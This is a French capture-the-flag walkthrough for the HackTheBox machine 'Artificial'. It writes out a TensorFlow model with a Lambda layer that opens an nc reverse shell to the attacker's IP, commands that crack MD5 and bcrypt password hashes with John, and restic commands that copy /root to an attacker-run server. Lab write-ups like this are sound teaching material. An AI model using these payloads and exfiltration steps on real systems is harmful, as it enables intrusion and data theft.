Artificial (HTB)

Cette box Linux “easy” de HackTheBox exploite une vulnérabilité TensorFlow pour obtenir un accès initial, puis une élévation de privilèges via des backups et la récupération de hash. Ce writeup suit une démarche pédagogique et structurée.

Introduction

Artificial est une machine Linux orientée IA. Vous allez exploiter une faille RCE dans TensorFlow via un upload de modèle, puis escalader vos privilèges grâce à l’analyse de backups et la récupération de hash root. Objectifs :
  • Obtenir un shell utilisateur (gael)
  • Élever les privilèges pour obtenir root
Prérequis :
  • Savoir utiliser Docker, John, restic, et les outils classiques de pentest

Enumération

1

Scan Nmap

Lancez un scan Nmap complet pour identifier les services ouverts :
nmap -sV -A artificial.htb
Résultat du scan Nmap Artificial
Ports principaux :
  • 22/tcp : SSH (OpenSSH 8.2p1)
  • 80/tcp : HTTP (nginx 1.18.0)
2

Enumération Web

Accédez au site web sur le port 80. Vous pouvez créer un compte et accéder à une interface d’upload de modèles IA.Explorez les fonctionnalités et récupérez les fichiers requirements.txt et Dockerfile proposés.

Exploitation (TensorFlow RCE)

1

Préparation de l'environnement Docker

Utilisez le Dockerfile fourni pour reproduire l’environnement localement (important pour que l’exploit fonctionne) :
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
2

Création du modèle malicieux

Créez un modèle TensorFlow avec une fonction Lambda qui exécute un reverse shell :
import tensorflow as tf
def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc VOTRE_IP 6666 >/tmp/f")
    return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Remplacez VOTRE_IP par l’adresse de votre machine d’attaque.
3

Upload et exécution du modèle

Uploadez le modèle via l’interface web, puis cliquez sur “View Predictions” pour déclencher le reverse shell.
Vous obtenez un shell en tant qu’utilisateur app.

Post-Exploitation (User → gael)

1

Extraction des hashes utilisateurs

Dans le dossier de l’application, trouvez la base de données users.db.
sqlite3 users.db
sqlite> select * from user;
Récupérez le hash MD5 de l’utilisateur gael.
2

Crack du hash avec John

Placez le hash dans un fichier et lancez John :
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-md5
Le mot de passe cracké permet de passer sur l’utilisateur gael.

Privesc Root

1

Analyse des backups

Dans /var/backups, trouvez un fichier volumineux backrest_backup.tar.gz. Extrayez-le localement.Recherchez un fichier config.json contenant un hash bcrypt base64 :
cat hash.txt | base64 -d
Vous obtenez un hash bcrypt.
2

Crack du hash root

Utilisez John pour casser le hash :
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Vous obtenez le mot de passe root du service backup.
3

Port forwarding et exploitation restic

Identifiez un service local sur le port 9898. Faites un port forwarding SSH :
ssh gael@artificial.htb -L 9898:127.0.0.1:9898
Lancez un serveur restic sur votre machine, puis initiez une sauvegarde distante depuis la box :
rest-server --path /tmp/restic-data --listen :12345 --no-auth
# Sur la box :
restic -r rest:http://VOTRE_IP:12345/myrepo init
restic -r rest:http://VOTRE_IP:12345/myrepo backup /root
Restaurez le snapshot sur votre machine pour obtenir root.txt.

Récapitulatif et Conseils

Pour illustrer chaque étape, utilisez la balise <Frame> autour de vos captures d’écran.